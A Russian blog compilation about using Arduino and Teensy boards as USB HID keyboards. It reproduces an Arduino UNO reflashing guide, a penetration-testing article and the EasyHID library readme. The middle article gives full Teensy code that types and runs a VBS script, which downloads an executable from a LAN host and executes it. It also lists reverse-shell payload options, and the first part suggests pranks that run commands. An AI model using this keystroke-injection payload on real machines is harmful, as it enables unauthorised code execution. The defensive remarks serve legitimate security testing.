Не забыть
вторник, 13 сентября 2016 г.
USB-Keyboard with Arduino
Arduino как HID-устройство
взято с https://vk.com/blynk
Посте того, как сгорел мой «ноутбук», я вспомнил про свой старый системник (точнее материнку и блок питания).
Достав его из кучи барахла, заметил что кроме мышки нету никакого устройства ввода, немного посидел,и начал рыть инет. Так как у меня в асоррименте только Arduino UNO R3 смотрел статьи только с ней. Многие делают клавиатуру на Arduino micro (ну там все просто).
В поисках наткнулся на статью где ардуино играет в 2048. Так как для упавления игрой надо нажимать клавиши, нужно превратить ардуино в клавиатуру.То что надо!
Нам понадобится:
- Arduino UNO R3
- Перемычка
- Arduino IDE
- Фирменная утилита Atmel – Flip
- Архив с прошивками и примером + библиотека
Цель: написать скетч для Arduino UNO, который будет эмулировать нажатие клавиш стрелок на клавиатуре.
Алгоритм наших действий:
- Пишем скетч с нужным функционалом и заливаем в МК ATmega328
- Прошиваем загрузчик Arduino, usb контроллер ATmega16U2
Для эмулирования нажатий клавиш я использовал библиотеку HIDKeyboard.
Что ж теперь переходим к самому интересному – будем превращать Arduino UNO в HID устройство, а конкретней в USB клавиатуру.
Немного теории.
Прошивка загрузчика — для начала нужно перевести Arduino в режим Device Firmware Update или в более часто используемом варианте DFU. Он служит для перепрошивки контроллера выполняющего роль конвертера serial to usb.
Как известно, основное отличие Arduino UNO от предыдущих моделей плат Arduino заключается в наличие второго контроллера ATmega8U2, на смену аппаратному конвертору USB COM (FT232R). Преимуществом данного решения является возможность замены прошивки в интерфейсном контроллере с целью эмуляции произвольного устройства при подключении Arduino к ПК (накопителя, hid-устройства и т.д.). Как это сделать? У интерфейсного контроллера имеется режим DFU – прошивка контроллера ATmega8U2 через подключение через USB. Почти как прошивка центрального контроллера Arduino. Для этого можно воспользоваться фирменной утилитой Flip. Для того чтоб перевести контроллер в этот режим программирования потребуется небольшая аппаратная модернизация Arduino.
Для Arduino UNO R3 достаточно поставить перемычку.
После этих действий компьютер обнаружит новое устройство и попытается самостоятельно поставить драйвера, но у него ничего не получится. Настало время установить фирменную утилиту Flip от Atmel. Открываем диспетчер задач и видим новое устройство Arduino Uno DFU.
Выберем драйвер из папки недавно установленной утилиты FLIP. В итоге у нас появится новое устройство – ATmega16U2. В дальнейшем при подключении Arduino, устройство будет определять как USB устройство. Теперь нам следует залить HEX файл с инструкциями USB клавиатуры. Чтоб компьютер в дальнейшем распознавал нашу Arduino как usb клавиатуру. Запускаем FLIP.
- Выбираем в меню Device > Select > ATmega16U2
- Выбираем в меню Setting > Communication > USB
- Жмем Open берем прошивку
- Приступаем к прошивке, жмем Run
По окончании процесса прошивки можно закрыть программу и проверить, как работает устройство. В итоге мой Arduino успешно играл в 2048 почти неделю. Даже на ночь его не выключал. В подтверждение вот мой результат.
Вот так можно превратить Arduino UNO в HID-устройство. Кстати можно не только играться в игры но и разыграть друга, подключив к его компьютеру устройство, которое запустит блокнот и будет писать там анекдоты, либо запускать команды, ведь клавиатура это главный пульт управления компьютером. К сожалению нельзя применить этот метод к плате Arduino Nano. Как уже говорилось ранее – второй контроллер Arduino UNO (ATmega8U2) используется в роли конвертера USB to Serial для определения компьютером Arduino UNO как USB устройство. Можно сделать вывод: реализовать этот метод, без посторонних устройств, возможно лишь при наличии на плате Arduino микроконтроллера запрограммированного как USB-to-serial конвертер. Но что делать, если у вас Arduino Nano или иная плата без конвертера USB to Serial? В таком случае можно купить отдельно конвертер подобный этому.
Чтобы вернуть Arduino UNO к жизни надо перепрошить ATmega16U2
Найти прошивку можно тут:
На всякий случай собрал весь софт который использовал в
— Arduino-HID-Bot-2048.ino — Скетч для Arduino UNO для игры в 2048.
— Arduino-keyboard.hex — этот hex файл заливаем при помощи FLIP для перевода arduino
в режим USB клавиатуры (но сначала нужно залить основной скетч).
прошиваем вот так!
avrdude -p m16 -b 19200 -F -P COM4 -c avrisp -U flash:w:Arduino-keyboard-0.3.hex -U lfuse:w:0xFF:m -U hfuse:w:0xD9:m -U efuse:w:0xF4:m -U lock:w:0x0F:m
«-p m16» это код atmega16u2
делаем копию arduino uno R3
avrdude -p m328p -b 19200 -c avrisp
-P COM13 -e -U flash:w:ATmegaBOOT_168_atmega328_pro_8MHz.hex
— Arduino-usbserial-uno.hex — этот файл нужен для того чтоб обратно вернуть Arduino UNO
в стандартный режи работы, чтоб она определялась в ПК как виртуальный COM-порт
в котром мы можем загружать скетчи.
https://vk.com/doc5127466_437873517
Arduino UNO R3 Mouse HID
Боевой HID-эмулятор на Arduino
За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.
Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.
Железо
В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.
- Поддержка USB
- Маленькие габариты
- Небольшая стоимость($16)
- Совместимость с Arduino
Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.
Social Engineering Toolkit
Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:
- Powershell HTTP GET MSF Payload
- WSCRIPT HTTP GET MSF Payload
- Powershell based Reverse Shell Payload
- Internet Explorer/FireFox Beef Jack Payload
- Go to malicious java site and accept applet Payload
- Gnome wget Download Payload
На выходе получается файл *.pde с кодом программы, готовым для компиляции и прошивки.
Kautilya
Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.
Написать код самим
Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.
Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.
Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.
Теперь запускаем и выбираем тип платы.
Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.
Итак, скромный инструментарий готов, и можно приступать к написанию программы.
Let’s rock!
Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился
Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.
void setup() <
pinMode(ledPin, OUTPUT);
for(int i=0;i
Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.
void loop() <
if(!complete_flag)
<
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).
Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.
Keyboard.println(«Set xml=CreateObject(\»Microsoft.XMLHTTP\»)»);
Keyboard.println(«xml.Open \»GET\»,\»http://192.168.1.137/calc.\»&\»exe\»,False»);
Keyboard.println(«xml.Send»);
Keyboard.println(«set oStream=createobject(\»Adodb.Stream\»)»);
Keyboard.println(«Const adTypeBinary=1»);
Keyboard.println(«Const adSaveCreateOverWrite=2»);
Keyboard.println(«Const adSaveCreateNotExist=1 «);
Keyboard.println(«oStream.type=1»);
Keyboard.println(«oStream.open»);
Keyboard.println(«oStream.write xml.responseBody»);
Keyboard.println(«oStream.savetofile \»C:\\payload.\»&\»exe\», 2″);
Keyboard.println(«oStream.close»);
Keyboard.println(«Set wshShell=CreateObject(\»WScript.Shell\»)»);
Keyboard.println(«WshShell.Exec (\»C:\\payload.\»&\»exe\»)»);
Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).
Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«»);
delay(1000);
Keyboard.println(«c:\\getpayload.vbs»);
Как и ранее, Win+R, и запускаем только что созданный скрипт.
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«c:\\getpayload.vbs»);
complete_flag = 1;
> >
Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.
Action!
В заключение хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые, в свою очередь, могут быть запрограммированы злоумышленником и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.
Ардуино нано hid устройство
Copy raw contents
Copy raw contents
Библиотека для программной реализации USB клавиатуры и мышки на некоторых МК AVR и платах на их основе
- Буквенные клавиши
- Мультимедийные клавиши
- Системные клавиши и сочетания
- Буферизация нажатий
- Движение мышки и нажатие её кнопок
. МК AVR с тактированием 16 МГц .
- ATmega328 (плата Nano, Uno, Mini)
- ATmega168/88/48/8
- ATtiny88 (плата MH-ET) работает через USB на плате!
- ATtiny167 (плата Digispark PRO) работает через USB на плате!
- ATtiny48
- БИБЛИОТЕКА НЕДОСТУПНА В МЕНЕДЖЕРЕ БИБЛИОТЕК из-за структуры проекта. Если кто то сможет запустить код из папки src — кидайте пулл реквест!
- Скачать библиотеку .zip архивом для ручной установки:
- Распаковать и положить в C:\Program Files (x86)\Arduino\libraries (Windows x64)
- Распаковать и положить в C:\Program Files\Arduino\libraries (Windows x32)
- Распаковать и положить в Документы/Arduino/libraries/
- (Arduino IDE) автоматическая установка из .zip: Скетч/Подключить библиотеку/Добавить .ZIP библиотеку… и указать скачанный архив
- Читай более подробную инструкцию по установке библиотек здесь
- Рекомендую всегда обновлять библиотеку: в новых версиях исправляются ошибки и баги, а также проводится оптимизация и добавляются новые фичи
- Через менеджер библиотек IDE: найти библиотеку как при установке и нажать «Обновить»
- Вручную: удалить папку со старой версией, а затем положить на её место новую. «Замену» делать нельзя: иногда в новых версиях удаляются файлы, которые останутся при замене и могут привести к ошибкам!
Схема на примере Arduino Nano
- Стабилитрон — любой маломощный на 3.6V
- Резистор 100 Ом — можно заменить на другой в диапазоне 47.. 200 Ом
- Резистор 1.5 кОм — можно заменить на другой в диапазоне 1.2.. 2.2 кОм
- Диод — любой обычный кремниевый (с падением 0.7V)
Если используется активная подтяжка при помощи пина, добавь #define EASYHID_SOFT_DETACH ПЕРЕД подключением EasyHID.h
Порт и пин можно задать в файле usbconfig.h. Стандартные:
ATtiny88 (плата MH-ET) — USB распаян на плате
- D- — пин 0 (PD1)
- D+ — пин 2 (PD2) (INT0)
ATtiny167 (плата Digispark PRO) — USB распаян на плате
- D- — пин 4 (PB3)
- D+ — пин 3 (PB6) (INT0)
- D- — (PD4)
- D+ — (PD2) (INT0)
- PULL — (PD5)
Смотри более расширенные примеры в папке examples!
- v1.0
- v2.0
- Добавлена буферизация клавиш (до 5 штук одновременно нажатых)
- Добавлен release(), от одной до 5 клавиш
- Работают системные клавиши и сочетания
- Добавлена поддержка платы Digispark PRO на базе ATtiny167
- Добавлена поддержка платы MH-ET на базе ATtiny88
- Теперь если в схеме задействована активная подтяжка (см. схему) надо перед подключением либы дописать #define EASYHID_SOFT_DETACH
- Добавлен метод end(): отключает USB, корректно воспринимается компом без ошибки только при использовании схемы с активным pullup
- Добавлены более удобные константы
- v2.1 — небольшая оптимизация
- v2.2 — пофикшен баг с ATmega328
- v2.2.1 — пофикшен баг
- v2.3 — добавлена поддержка ATmega8
- v2.4 — добавлена поддержка Arduino IDE 2.0
Баги и обратная связь
При нахождении багов создавайте Issue, а лучше сразу пишите на почту alex@alexgyver.ru
Библиотека открыта для доработки и ваших Pull Request‘ов!
При сообщении о багах или некорректной работе библиотеки нужно обязательно указывать:
- Версия библиотеки
- Какой используется МК
- Версия SDK (для ESP)
- Версия Arduino IDE
- Корректно ли работают ли встроенные примеры, в которых используются функции и конструкции, приводящие к багу в вашем коде
- Какой код загружался, какая работа от него ожидалась и как он работает в реальности
- В идеале приложить минимальный код, в котором наблюдается баг. Не полотно из тысячи строк, а минимальный код